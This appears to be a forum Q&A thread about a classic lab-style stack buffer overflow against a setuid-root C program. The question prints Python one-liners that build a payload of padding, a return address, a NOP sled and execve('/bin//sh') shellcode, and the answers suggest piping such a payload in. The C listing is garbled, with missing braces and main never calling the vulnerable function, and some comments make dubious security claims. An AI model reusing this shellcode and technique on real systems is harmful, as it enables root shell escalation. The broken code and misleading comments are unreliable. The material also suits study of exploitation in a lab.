I have an application with the following source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
    char buffer[12];

    strcpy(buffer, str);

    return 1;

int main(int argc, char **argv)
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);

    printf("Returned Properly\n");
    return 1;

Inside bof with the strcpy(buffer, str) i am trying to achieve privelege escalation using buffer overflow. Inside gdb with the following command i am able to open a new shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Outside gdb i know that the memory address change a bit so i have tried with the same command using some nops too: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
I have disabled ASLR, NX bit and stack canary. Though the result of the last command above is Illegal instruction (core dumped)What am i doing wrong here? (The suid bit of the application as root is enabled)

  • the fread function does not NUL terminate the input buffer. so the call to strcpy() in the bof() function will result in undefined behaviour and as you saw, can lead to a seg fault event. The code should check the returned value from fread() to know the length of the read in string, so amongst other things, can NUL terminate the string Dec 28, 2015 at 11:02
  • overfowing a buffer is very unlikely to achieve a privilege escalation, However it is very likely to result in a seg fault event Dec 28, 2015 at 11:05
  • the gdb function has the memory layout a bit different so you might not see the seg fault event, That does not mean the code isn't still causing undefined behaviour\ Dec 28, 2015 at 11:07
  • In gdb the memory map is different, so when you run the program the buffer overflow "does not work" like you wanted.
    – Millex
    Jun 12, 2016 at 17:24

2 Answers 2


You should familiarize yourself with the terminology. What you're trying to do has nothing to do with privilege escalation. What you want to do is code execution through buffer overflow. I suggest you read the input for overflowing the buffer from stdin (gets), that is a lot more straightforward than reading it from a file. You can then do

python -c "<python encoded binary payload>" | yourprogram

That should do the trick.


You can put the payload in a python program and invoke the code as python payload.py; cat | /home/user/code

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